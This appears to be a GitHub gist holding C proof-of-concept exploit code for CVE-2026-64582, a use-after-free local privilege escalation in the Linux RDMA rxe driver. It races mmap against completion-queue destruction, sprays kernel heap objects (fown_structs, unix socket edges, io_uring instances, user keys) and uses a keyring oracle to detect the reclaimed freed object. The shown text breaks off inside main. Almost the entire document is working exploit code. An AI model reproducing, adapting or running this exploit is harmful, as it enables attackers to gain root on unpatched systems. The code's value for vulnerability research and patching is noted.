Skip to content

Instantly share code, notes, and snippets.

@n4sm
Last active August 6, 2026 11:43
Show Gist options
  • Select an option

  • Save n4sm/71b5f7792d32aa9d508142f7cac4eae7 to your computer and use it in GitHub Desktop.

Select an option

Save n4sm/71b5f7792d32aa9d508142f7cac4eae7 to your computer and use it in GitHub Desktop.
exploit for CVE-2026-64582
/*
PoC UAF LPE for the RDMA/rxe driver
This exploit is based on the technique described by ptryudai in this blog post: https://ptr-yudai.hatenablog.com/entry/2025/09/14/180326
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <unistd.h>
struct fown_struct_spray {
int *fds;
size_t count;
};
int allocate_fown_structs(struct fown_struct_spray *spray, size_t count)
{
size_t i;
int saved_errno;
if (!spray) {
errno = EINVAL;
return -1;
}
spray->fds = NULL;
spray->count = 0;
if (!count)
return 0;
spray->fds = calloc(count, sizeof(*spray->fds));
if (!spray->fds)
return -1;
for (i = 0; i < count; i++) {
int fd = open("/dev/null", O_RDONLY | O_CLOEXEC);
if (fd < 0)
goto error;
if (fcntl(fd, F_SETOWN, getpid()) < 0) {
saved_errno = errno;
close(fd);
errno = saved_errno;
goto error;
}
spray->fds[i] = fd;
spray->count++;
}
return 0;
error:
saved_errno = errno;
while (spray->count)
close(spray->fds[--spray->count]);
free(spray->fds);
spray->fds = NULL;
errno = saved_errno;
return -1;
}
void deallocate_fown_structs(struct fown_struct_spray *spray)
{
if (!spray)
return;
while (spray->count)
close(spray->fds[--spray->count]);
free(spray->fds);
spray->fds = NULL;
}
struct unix_edge_spray {
int (*transport)[2];
int passed_socket[2];
size_t count;
};
static int send_unix_fd(int socket, int fd)
{
char control[CMSG_SPACE(sizeof(fd))] = { 0 };
char byte = 'U';
struct iovec iov = {
.iov_base = &byte,
.iov_len = sizeof(byte),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
ssize_t sent;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
do {
sent = sendmsg(socket, &msg, 0);
} while (sent < 0 && errno == EINTR);
if (sent == sizeof(byte))
return 0;
if (sent >= 0)
errno = EIO;
return -1;
}
int allocate_unix_edges(struct unix_edge_spray *spray, size_t count)
{
int saved_errno;
if (!spray) {
errno = EINVAL;
return -1;
}
spray->transport = NULL;
spray->passed_socket[0] = -1;
spray->passed_socket[1] = -1;
spray->count = 0;
if (!count)
return 0;
spray->transport = calloc(count, sizeof(*spray->transport));
if (!spray->transport)
return -1;
if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0,
spray->passed_socket) < 0)
goto error;
while (spray->count < count) {
int pair[2];
if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, pair) < 0)
goto error;
if (send_unix_fd(pair[0], spray->passed_socket[0]) < 0) {
saved_errno = errno;
close(pair[0]);
close(pair[1]);
errno = saved_errno;
goto error;
}
spray->transport[spray->count][0] = pair[0];
spray->transport[spray->count][1] = pair[1];
spray->count++;
}
return 0;
error:
saved_errno = errno;
while (spray->count) {
spray->count--;
close(spray->transport[spray->count][0]);
close(spray->transport[spray->count][1]);
}
if (spray->passed_socket[0] >= 0)
close(spray->passed_socket[0]);
if (spray->passed_socket[1] >= 0)
close(spray->passed_socket[1]);
free(spray->transport);
spray->transport = NULL;
spray->passed_socket[0] = -1;
spray->passed_socket[1] = -1;
errno = saved_errno;
return -1;
}
void deallocate_unix_edges(struct unix_edge_spray *spray)
{
if (!spray)
return;
while (spray->count) {
spray->count--;
close(spray->transport[spray->count][0]);
close(spray->transport[spray->count][1]);
}
if (spray->passed_socket[0] >= 0)
close(spray->passed_socket[0]);
if (spray->passed_socket[1] >= 0)
close(spray->passed_socket[1]);
free(spray->transport);
spray->transport = NULL;
spray->passed_socket[0] = -1;
spray->passed_socket[1] = -1;
}
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
// ==
#include <assert.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
static void fatal(const char *s) {
perror(s);
exit(1);
}
int fd;
#define MAX_OBJ_NUM 0x100
#define OBJ_SIZE 40
#define OBJS_PER_SLAB 64 // /sys/kernel/slab/obj/objs_per_slab
#define CPU_PARTIAL 24 // /sys/kernel/slab/obj/cpu_partial
char* PTI_TO_VIRT(size_t pgd, size_t pud, size_t pmd, size_t pte) {
assert (pgd < 0x200 && pud < 0x200 && pmd < 0x200 && pte < 0x200);
return (void*)((pgd << 39) + (pud << 30) + (pmd << 21) + (pte << 12));
}
void* mmap_by_pti(size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0);
assert (p == q);
return p;
}
void* mmap_file_by_pti(int fd, size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ, MAP_SHARED|MAP_FIXED, fd, 0);
assert (p == q);
return p;
}
#define ENTRY_PER_TABLE 512
#define SPRAY_NUM 0x3500
#define DELTA 24
// === from https://github.com/randorisec/CVE-2022-34918-LPE-PoC
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
struct fd_uring {
int fd;
struct io_uring_params *params;
};
static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
return syscall(__NR_io_uring_setup, entries, p);
}
static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
#define SPRAY_NB_ENTRIES 10
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
for (uint64_t i = 0; i < spray_size; i++) {
fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
if (!fd_buffer[i].params) {
perror("io_uring_create");
exit(EXIT_FAILURE);
}
memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
if (fd_buffer[i].fd < 0) {
perror("io_uring_create");
exit(EXIT_FAILURE);
}
}
}
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size)
{
for (uint32_t i = 0; i < buffer_size; i++) {
if (fd_buffer[i].fd >= 0) {
close(fd_buffer[i].fd);
fd_buffer[i].fd = -1;
}
free(fd_buffer[i].params);
fd_buffer[i].params = NULL;
}
}
// ==
#define PAGE_SIZE_BYTES 4096U
#define KEY_PAYLOAD_SIZE 40U
#define KEY_DESCRIPTION_SIZE 64U
#define MAX_KEY_SPRAY 0x5000
#define MAX_TIMER_THREADS 16
#define MAX_PAGES 1000000
#define ANON_VMA_SPRAY_BEFORE 40000
#define ANON_VMA_SPRAY_AFTER 1
#define CQ_ANCHOR_BASE 0x400000000000ULL
#define ANON_SPRAY_BASE 0x400100000000ULL
#define ANON_SPRAY_STRIDE (PAGE_SIZE_BYTES * 2ULL)
#define IB_USER_VERBS_CMD_GET_CONTEXT 0
#define IB_USER_VERBS_CMD_ALLOC_PD 3
#define IB_USER_VERBS_CMD_CREATE_CQ 18
#define IB_USER_VERBS_CMD_DESTROY_CQ 20
struct uv_hdr {
uint32_t command;
uint16_t in_words;
uint16_t out_words;
};
struct uv_get_context {
uint64_t response;
};
struct uv_get_context_resp {
uint32_t async_fd;
uint32_t num_comp_vectors;
};
struct uv_alloc_pd {
uint64_t response;
};
struct uv_alloc_pd_resp {
uint32_t pd_handle;
uint32_t pad;
};
struct uv_create_cq {
uint64_t response;
uint64_t user_handle;
uint32_t cqe;
uint32_t comp_vector;
int32_t comp_channel;
uint32_t reserved;
};
struct uv_create_cq_resp {
uint32_t cq_handle;
uint32_t cqe;
};
struct uv_destroy_cq {
uint64_t response;
uint32_t cq_handle;
uint32_t reserved;
};
struct uv_destroy_cq_resp {
uint32_t comp_events_reported;
uint32_t async_events_reported;
};
struct rxe_mminfo {
uint64_t offset;
uint32_t size;
uint32_t pad;
};
struct rxe_create_cq_resp {
struct rxe_mminfo mi;
};
struct create_cq_full_resp {
struct uv_create_cq_resp base;
struct rxe_create_cq_resp rxe;
uint8_t spare[32];
};
struct key_payload {
uint32_t ref_canary;
uint32_t tag;
uint64_t zero_obj;
uint8_t marker[KEY_PAYLOAD_SIZE - 16];
};
_Static_assert(sizeof(struct key_payload) == KEY_PAYLOAD_SIZE,
"key payload must be 40 bytes");
struct key_batch {
int32_t *serials;
uint8_t *payloads;
char (*descriptions)[KEY_DESCRIPTION_SIZE];
size_t payload_size;
int requested;
int created;
};
typedef void (*key_payload_init_fn)(void *payload, size_t payload_size,
int iteration, int index);
struct options {
int iterations;
int key_spray;
int timer_threads;
int reclaim_probe;
int tail_keys;
unsigned int reclaim_wait_ms;
uint32_t cqe;
uint64_t delay_base_ns;
uint64_t delay_step_ns;
int delay_steps;
uint64_t timer_period_ns;
uint64_t timer_busy_ns;
int mmap_cpu;
int destroy_cpu;
};
static struct options opt = {
.iterations = 600,
.key_spray = 32,
.timer_threads = 2,
.reclaim_probe = 0,
.tail_keys = 0,
.reclaim_wait_ms = 250,
.cqe = 1,
.delay_base_ns = 0,
.delay_step_ns = 10,
.delay_steps = 21,
.timer_period_ns = 20000,
.timer_busy_ns = 2500,
.mmap_cpu = 1,
.destroy_cpu = 0,
};
static int uverbs_fd = -1;
static uint32_t cq_handle;
static uint64_t mmap_offset;
static uint32_t mmap_size;
static uint64_t destroy_delay_ns;
static void *mapping = MAP_FAILED;
static atomic_int race_ready;
static atomic_int race_fire;
static atomic_int mmap_ok;
static atomic_int destroy_ok;
static atomic_int stop_timers;
static atomic_int timers_ready;
static atomic_uint_fast64_t mmap_enter_ns;
static atomic_uint_fast64_t mmap_leave_ns;
static atomic_uint_fast64_t destroy_enter_ns;
static atomic_uint_fast64_t destroy_leave_ns;
static inline void cpu_relax(void)
{
__asm__ volatile("pause");
}
static uint64_t monotonic_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec;
}
static int pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
return sched_setaffinity(0, sizeof(set), &set);
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static int uv_cmd(uint32_t id, void *body, size_t body_size,
void *response, size_t response_size)
{
size_t total = sizeof(struct uv_hdr) + body_size;
struct uv_hdr *header;
uint8_t *buffer;
ssize_t written;
int saved_errno;
*(uint64_t *)body = (uint64_t)(uintptr_t)response;
buffer = malloc(total);
if (!buffer)
die("malloc");
header = (struct uv_hdr *)buffer;
header->command = id;
header->in_words = (uint16_t)(total / 4);
header->out_words = (uint16_t)(response_size / 4);
memcpy(buffer + sizeof(*header), body, body_size);
written = write(uverbs_fd, buffer, total);
saved_errno = errno;
free(buffer);
if (written < 0) {
errno = saved_errno;
return -1;
}
return 0;
}
static void init_uverbs(void)
{
struct uv_get_context context_cmd = {};
struct uv_get_context_resp context_resp = {};
struct uv_alloc_pd pd_cmd = {};
struct uv_alloc_pd_resp pd_resp = {};
uverbs_fd = open("/dev/infiniband/uverbs0", O_RDWR);
if (uverbs_fd < 0)
die("open /dev/infiniband/uverbs0");
if (uv_cmd(IB_USER_VERBS_CMD_GET_CONTEXT,
&context_cmd, sizeof(context_cmd),
&context_resp, sizeof(context_resp)) < 0)
die("GET_CONTEXT");
if (uv_cmd(IB_USER_VERBS_CMD_ALLOC_PD,
&pd_cmd, sizeof(pd_cmd), &pd_resp, sizeof(pd_resp)) < 0)
die("ALLOC_PD");
printf("[+] GET_CONTEXT async_fd=%u vectors=%u, ALLOC_PD=%u\n",
context_resp.async_fd, context_resp.num_comp_vectors,
pd_resp.pd_handle);
}
static int create_cq(void)
{
struct uv_create_cq cmd = {
.cqe = opt.cqe,
.comp_vector = 0,
.comp_channel = -1,
};
struct create_cq_full_resp resp = {};
if (uv_cmd(IB_USER_VERBS_CMD_CREATE_CQ, &cmd, sizeof(cmd),
&resp, sizeof(resp)) < 0)
return -errno;
cq_handle = resp.base.cq_handle;
mmap_offset = resp.rxe.mi.offset;
mmap_size = resp.rxe.mi.size;
return 0;
}
static int destroy_cq(uint32_t handle)
{
struct uv_destroy_cq cmd = { .cq_handle = handle };
struct uv_destroy_cq_resp resp = {};
return uv_cmd(IB_USER_VERBS_CMD_DESTROY_CQ, &cmd, sizeof(cmd),
&resp, sizeof(resp));
}
static void wait_for_race_fire(void)
{
atomic_fetch_add_explicit(&race_ready, 1, memory_order_release);
while (!atomic_load_explicit(&race_fire, memory_order_acquire))
cpu_relax();
}
static void *mmap_thread(void *unused)
{
size_t size;
void *target;
(void)unused;
if (pin_cpu(opt.mmap_cpu) < 0)
perror("pin mmap CPU");
wait_for_race_fire();
size = mmap_size ? mmap_size : PAGE_SIZE_BYTES;
target = (void *)(CQ_ANCHOR_BASE + PAGE_SIZE_BYTES);
atomic_store_explicit(&mmap_enter_ns, monotonic_ns(),
memory_order_relaxed);
mapping = mmap(target, size, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED_NOREPLACE,
uverbs_fd, (off_t)mmap_offset);
atomic_store_explicit(&mmap_leave_ns, monotonic_ns(),
memory_order_release);
atomic_store_explicit(&mmap_ok, mapping != MAP_FAILED,
memory_order_release);
return NULL;
}
static void *destroy_thread(void *unused)
{
uint64_t start;
int ret;
(void)unused;
if (pin_cpu(opt.destroy_cpu) < 0)
perror("pin destroy CPU");
wait_for_race_fire();
start = monotonic_ns();
while (monotonic_ns() - start < destroy_delay_ns)
cpu_relax();
atomic_store_explicit(&destroy_enter_ns, monotonic_ns(),
memory_order_relaxed);
ret = destroy_cq(cq_handle);
atomic_store_explicit(&destroy_leave_ns, monotonic_ns(),
memory_order_release);
atomic_store_explicit(&destroy_ok, ret == 0, memory_order_release);
return NULL;
}
static void *timer_pressure_thread(void *argument)
{
int index = (int)(intptr_t)argument;
struct itimerspec its = {};
uint64_t expirations;
int fd;
if (pin_cpu(opt.destroy_cpu) < 0)
perror("pin timer CPU");
fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
if (fd < 0)
die("timerfd_create");
its.it_value.tv_nsec =
(long)(opt.timer_period_ns + (uint64_t)index * 997);
its.it_interval.tv_nsec = (long)opt.timer_period_ns;
if (timerfd_settime(fd, 0, &its, NULL) < 0)
die("timerfd_settime");
atomic_fetch_add_explicit(&timers_ready, 1, memory_order_release);
while (!atomic_load_explicit(&stop_timers, memory_order_acquire)) {
uint64_t start;
ssize_t ret = read(fd, &expirations, sizeof(expirations));
if (ret < 0 && errno == EINTR)
continue;
if (ret != (ssize_t)sizeof(expirations))
break;
start = monotonic_ns();
while (monotonic_ns() - start < opt.timer_busy_ns)
cpu_relax();
}
close(fd);
return NULL;
}
static int32_t add_user_key(const char *description, const void *payload,
size_t payload_size)
{
return (int32_t)syscall(__NR_add_key, "user", description,
payload, payload_size,
KEY_SPEC_PROCESS_KEYRING);
}
static long read_key(int32_t key, void *payload, size_t payload_size)
{
memset(payload, 0, payload_size);
return syscall(__NR_keyctl, KEYCTL_READ, key, payload,
payload_size, 0);
}
static void init_oracle_payload(void *buffer, size_t payload_size,
int iteration, int index)
{
struct key_payload payload = {};
if (payload_size != sizeof(payload))
die("oracle payload size");
payload.ref_canary = 0x13370000U |
((uint32_t)(iteration * MAX_KEY_SPRAY + index) & 0xffffU);
payload.tag = 0x4b455900U ^ (uint32_t)index;
payload.zero_obj = 0;
memset(payload.marker, 0x4b, sizeof(payload.marker));
memcpy(buffer, &payload, sizeof(payload));
}
static void *key_batch_payload(const struct key_batch *batch, int index)
{
if (index < 0 || index >= batch->created)
return NULL;
return batch->payloads + (size_t)index * batch->payload_size;
}
static int allocate_key_batch(struct key_batch *batch, int count,
size_t payload_size, const char *prefix,
int iteration, int index_base,
key_payload_init_fn init_payload)
{
memset(batch, 0, sizeof(*batch));
if (count < 0 || !payload_size ||
(size_t)count > SIZE_MAX / payload_size) {
errno = EINVAL;
return -1;
}
if (!count)
return 0;
batch->serials = malloc((size_t)count * sizeof(*batch->serials));
batch->payloads = malloc((size_t)count * payload_size);
batch->descriptions =
malloc((size_t)count * sizeof(*batch->descriptions));
if (!batch->serials || !batch->payloads || !batch->descriptions)
die("malloc key batch");
batch->payload_size = payload_size;
batch->requested = count;
for (int i = 0; i < count; i++)
batch->serials[i] = -1;
for (int i = 0; i < count; i++) {
void *payload = batch->payloads + (size_t)i * payload_size;
char *description = batch->descriptions[i];
memset(payload, 0, payload_size);
if (init_payload)
init_payload(payload, payload_size, iteration,
index_base + i);
snprintf(description, KEY_DESCRIPTION_SIZE, "%s-%d-%d-%d",
prefix, getpid(), iteration, i);
batch->serials[i] =
add_user_key(description, payload, payload_size);
if (batch->serials[i] < 0)
break;
batch->created++;
}
return batch->created;
}
static int
deallocate_key_batch(struct key_batch *batch)
{
int revoked = 0;
for (int i = 0; i < batch->created; i++) {
if (batch->serials[i] < 0)
continue;
if (syscall(__NR_keyctl, KEYCTL_REVOKE,
batch->serials[i], 0, 0, 0) == 0)
revoked++;
}
free(batch->descriptions);
free(batch->payloads);
free(batch->serials);
memset(batch, 0, sizeof(*batch));
return revoked;
}
static void __attribute__((unused))
revoke_key_batch_and_wait(struct key_batch *batch)
{
struct timespec wait = {
.tv_sec = opt.reclaim_wait_ms / 1000,
.tv_nsec = (long)(opt.reclaim_wait_ms % 1000) * 1000000L,
};
int revoked;
revoked = deallocate_key_batch(batch);
printf("[RECLAIM] revoked %d payloads; waiting %u ms for RCU "
"callbacks\n", revoked, opt.reclaim_wait_ms);
while (nanosleep(&wait, &wait) < 0 && errno == EINTR)
;
}
static void prime_process_keyring(void)
{
struct key_payload payload;
int32_t key;
init_oracle_payload(&payload, sizeof(payload), 0, 0);
key = add_user_key("rxe-uaf-keyring-prime", &payload,
sizeof(payload));
if (key < 0)
die("prime add_key");
if (syscall(__NR_keyctl, KEYCTL_REVOKE, key, 0, 0, 0) < 0)
die("prime KEYCTL_REVOKE");
}
struct key_batch primary_oracle = {};
static int key_fork_oracle(int iteration)
{
struct key_payload observed;
int hold_pipe[2] = {-1, -1};
int ready_pipe[2] = {-1, -1};
int hit = -1;
pid_t child = -1;
char byte;
int status;
if (pin_cpu(opt.destroy_cpu) < 0)
perror("pin key spray CPU");
if (allocate_key_batch(&primary_oracle, opt.key_spray, KEY_PAYLOAD_SIZE,
"rxe-uaf", iteration, 0,
init_oracle_payload) < 0)
die("allocate primary key batch");
if (!primary_oracle.created) {
perror("add_key");
exit(EXIT_FAILURE);
}
if (pipe(hold_pipe) < 0 || pipe(ready_pipe) < 0)
die("pipe");
child = fork();
if (child < 0)
die("fork");
if (child == 0) {
close(hold_pipe[1]);
close(ready_pipe[0]);
byte = 'R';
if (write(ready_pipe[1], &byte, 1) != 1)
_exit(2);
if (read(hold_pipe[0], &byte, 1) != 1)
_exit(3);
_exit(0);
}
close(hold_pipe[0]);
hold_pipe[0] = -1;
close(ready_pipe[1]);
ready_pipe[1] = -1;
if (read(ready_pipe[0], &byte, 1) != 1)
goto release_child;
for (int i = 0; i < primary_oracle.created; i++) {
const struct key_payload *expected =
key_batch_payload(&primary_oracle, i);
long size = read_key(primary_oracle.serials[i], &observed,
sizeof(observed));
if (size != KEY_PAYLOAD_SIZE)
continue;
if (observed.ref_canary == expected->ref_canary + 1 &&
observed.tag == expected->tag &&
observed.zero_obj == 0 &&
!memcmp(observed.marker, expected->marker,
sizeof(observed.marker))) {
hit = i;
printf("[+] UAF key[%d]=%d description=\"%s\" "
"payload[0]: %#x -> %#x while fork child "
"is alive\n",
i, primary_oracle.serials[i],
primary_oracle.descriptions[i],
expected->ref_canary, observed.ref_canary);
break;
}
}
release_child:
byte = 'X';
if (hold_pipe[1] >= 0) {
ssize_t ignored = write(hold_pipe[1], &byte, 1);
(void)ignored;
}
if (child > 0)
waitpid(child, &status, 0);
if (hit >= 0) {
const struct key_payload *expected =
key_batch_payload(&primary_oracle, hit);
long size = read_key(primary_oracle.serials[hit], &observed,
sizeof(observed));
printf("[UAF] after child exit: payload[0]=%#x "
"(expected restored %#x, read=%ld)\n",
observed.ref_canary, expected->ref_canary, size);
if (size != KEY_PAYLOAD_SIZE ||
observed.ref_canary != expected->ref_canary)
hit = -1;
}
out:
if (hold_pipe[0] >= 0)
close(hold_pipe[0]);
if (hold_pipe[1] >= 0)
close(hold_pipe[1]);
if (ready_pipe[0] >= 0)
close(ready_pipe[0]);
if (ready_pipe[1] >= 0)
close(ready_pipe[1]);
if (hit < 0) {
if (mapping != MAP_FAILED) {
munmap(mapping, mmap_size ? mmap_size : PAGE_SIZE_BYTES);
mapping = MAP_FAILED;
}
pin_cpu(0);
deallocate_key_batch(&primary_oracle);
}
return hit >= 0;
}
static int page_count = 0;
static void *cq_anchor = MAP_FAILED;
void* iter_pages[MAX_PAGES];
static void free_all_pages(void **pages, int count)
{
while (count--) {
void *page = pages[count];
if (page != MAP_FAILED)
munmap(page, PAGE_SIZE_BYTES);
pages[count] = MAP_FAILED;
}
}
static void stress_pcp_flush(int count, void **pages)
{
for (int i = 0; i < count; i++) {
uintptr_t address = ANON_SPRAY_BASE +
(uintptr_t)page_count++ * ANON_SPRAY_STRIDE;
void *page = mmap((void *)address, PAGE_SIZE_BYTES,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS |
MAP_FIXED_NOREPLACE, -1, 0);
if (page == MAP_FAILED)
continue;
((char *)page)[0] = 'A' + (i % 26);
pages[i] = page;
}
}
static void release_iteration_pages(int count)
{
if (pin_cpu(0) < 0)
perror("pin anonymous VMA release CPU");
free_all_pages(iter_pages, count);
}
struct fown_struct_spray spray_fown_before;
struct fown_struct_spray spray_fown_after;
struct fown_struct_spray spray_fown_base;
#define MAX_FULL_SHEAVES 10
#define MAX_EMPTY_SHEAVES 10
#define NR_PARTIAL 100
static int run_iteration(int iteration)
{
pthread_t mmap_tid;
pthread_t destroy_tid;
int create_ret;
int mapped;
int destroyed;
uint64_t mmap_enter;
uint64_t mmap_leave;
uint64_t destroy_enter;
uint64_t destroy_leave;
int64_t leave_delta;
mapping = MAP_FAILED;
if (pin_cpu(0) < 0)
perror("pin anonymous VMA spray CPU");
stress_pcp_flush(ANON_VMA_SPRAY_BEFORE, iter_pages);
create_ret = create_cq();
if (create_ret < 0) {
fprintf(stderr, "create_cq: %s\n", strerror(-create_ret));
release_iteration_pages(ANON_VMA_SPRAY_BEFORE);
return -1;
}
stress_pcp_flush(ANON_VMA_SPRAY_AFTER, &iter_pages[ANON_VMA_SPRAY_BEFORE]);
destroy_delay_ns = opt.delay_base_ns +
(uint64_t)(iteration % opt.delay_steps) * opt.delay_step_ns;
atomic_store_explicit(&race_ready, 0, memory_order_relaxed);
atomic_store_explicit(&race_fire, 0, memory_order_relaxed);
atomic_store_explicit(&mmap_ok, 0, memory_order_relaxed);
atomic_store_explicit(&destroy_ok, 0, memory_order_relaxed);
atomic_store_explicit(&mmap_enter_ns, 0, memory_order_relaxed);
atomic_store_explicit(&mmap_leave_ns, 0, memory_order_relaxed);
atomic_store_explicit(&destroy_enter_ns, 0, memory_order_relaxed);
atomic_store_explicit(&destroy_leave_ns, 0, memory_order_relaxed);
if (pthread_create(&mmap_tid, NULL, mmap_thread, NULL) ||
pthread_create(&destroy_tid, NULL, destroy_thread, NULL))
die("pthread_create race");
while (atomic_load_explicit(&race_ready, memory_order_acquire) != 2)
cpu_relax();
atomic_store_explicit(&race_fire, 1, memory_order_release);
pthread_join(mmap_tid, NULL);
pthread_join(destroy_tid, NULL);
mapped = atomic_load_explicit(&mmap_ok, memory_order_acquire);
destroyed = atomic_load_explicit(&destroy_ok, memory_order_acquire);
mmap_enter = atomic_load_explicit(&mmap_enter_ns, memory_order_acquire);
mmap_leave = atomic_load_explicit(&mmap_leave_ns, memory_order_acquire);
destroy_enter =
atomic_load_explicit(&destroy_enter_ns, memory_order_acquire);
destroy_leave =
atomic_load_explicit(&destroy_leave_ns, memory_order_acquire);
leave_delta = (int64_t)destroy_leave - (int64_t)mmap_leave;
if (!mapped) {
if (iteration % 250 == 0)
printf("[.] iter=%d delay=%lu ns: mmap miss\n",
iteration, (unsigned long)destroy_delay_ns);
release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE);
return 0;
}
if (!destroyed) {
if (mapping != MAP_FAILED) {
munmap(mapping, mmap_size ? mmap_size : PAGE_SIZE_BYTES);
mapping = MAP_FAILED;
}
release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE);
return 0;
}
printf("[*] iter=%d delay=%lu ns: mmap+destroy candidate; "
"leave_delta=%+ld ns, spraying %d keys\n",
iteration, (unsigned long)destroy_delay_ns,
(long)leave_delta, opt.key_spray);
if (key_fork_oracle(iteration)) {
return 1;
}
release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE);
return 0;
}
static unsigned long parse_ulong(const char *text, const char *name)
{
char *end;
unsigned long value;
errno = 0;
value = strtoul(text, &end, 0);
if (errno || !text[0] || *end) {
fprintf(stderr, "invalid %s: %s\n", name, text);
exit(EXIT_FAILURE);
}
return value;
}
static void usage(const char *program)
{
fprintf(stderr,
"usage: %s [-n iterations] [-k keys] [-c cqe] "
"[-b delay_base_ns] [-s delay_step_ns] [-w delay_steps] "
"[-t timer_threads] [-p timer_period_ns] "
"[-u timer_busy_ns] [-m mmap_cpu] [-d destroy_cpu] "
"[-R] [-T tail_keys] [-W reclaim_wait_ms]\n",
program);
exit(EXIT_FAILURE);
}
static void parse_options(int argc, char **argv)
{
int c;
while ((c = getopt(argc, argv,
"n:k:c:b:s:w:t:p:u:m:d:RT:W:h")) != -1) {
switch (c) {
case 'n':
opt.iterations = (int)parse_ulong(optarg, "iterations");
break;
case 'k':
opt.key_spray = (int)parse_ulong(optarg, "keys");
break;
case 'c':
opt.cqe = (uint32_t)parse_ulong(optarg, "cqe");
break;
case 'b':
opt.delay_base_ns = parse_ulong(optarg, "delay base");
break;
case 's':
opt.delay_step_ns = parse_ulong(optarg, "delay step");
break;
case 'w':
opt.delay_steps = (int)parse_ulong(optarg, "delay steps");
break;
case 't':
opt.timer_threads = (int)parse_ulong(optarg,
"timer threads");
break;
case 'p':
opt.timer_period_ns = parse_ulong(optarg,
"timer period");
break;
case 'u':
opt.timer_busy_ns = parse_ulong(optarg, "timer busy");
break;
case 'm':
opt.mmap_cpu = (int)parse_ulong(optarg, "mmap CPU");
break;
case 'd':
opt.destroy_cpu = (int)parse_ulong(optarg, "destroy CPU");
break;
case 'R':
opt.reclaim_probe = 1;
break;
case 'T':
opt.tail_keys = (int)parse_ulong(optarg, "tail keys");
break;
case 'W':
opt.reclaim_wait_ms =
(unsigned int)parse_ulong(optarg,
"reclaim wait");
break;
default:
usage(argv[0]);
}
}
if (opt.iterations <= 0 || opt.key_spray <= 0 ||
opt.key_spray > MAX_KEY_SPRAY || opt.tail_keys < 0 ||
opt.tail_keys > MAX_KEY_SPRAY ||
opt.key_spray + opt.tail_keys > MAX_KEY_SPRAY ||
opt.delay_steps <= 0 ||
opt.timer_threads < 0 || opt.timer_threads > MAX_TIMER_THREADS ||
opt.timer_period_ns == 0 ||
opt.timer_period_ns >= 1000000000ULL)
usage(argv[0]);
}
#include <sys/resource.h>
void increase_fd_limit() {
struct rlimit rlim;
printf("[*] Increasing file descriptor limit...\n");
getrlimit(RLIMIT_NOFILE, &rlim);
rlim.rlim_cur = rlim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &rlim)) {
perror("setrlimit");
}
}
#define FULL_SHEAF_CAPACITY 128
int main(int argc, char **argv)
{
pthread_t timers[MAX_TIMER_THREADS];
int result = EXIT_FAILURE;
parse_options(argc, argv);
setvbuf(stdout, NULL, _IOLBF, 0);
printf("=== rxe_mmap UAF LPE ===\n");
printf("[*] iterations=%d cqe=%u keys=%d delay=%lu+N*%lu ns "
"(%d steps)\n",
opt.iterations, opt.cqe, opt.key_spray,
(unsigned long)opt.delay_base_ns,
(unsigned long)opt.delay_step_ns, opt.delay_steps);
printf("[*] mmap CPU=%d destroy/timer CPU=%d timers=%d "
"period=%lu ns busy=%lu ns\n",
opt.mmap_cpu, opt.destroy_cpu, opt.timer_threads,
(unsigned long)opt.timer_period_ns,
(unsigned long)opt.timer_busy_ns);
if (opt.reclaim_probe)
printf("[*] allocator probe: revoke after safe VMA "
"teardown, tail=%d, RCU wait=%u ms\n",
opt.tail_keys, opt.reclaim_wait_ms);
if (sysconf(_SC_NPROCESSORS_ONLN) <= opt.mmap_cpu ||
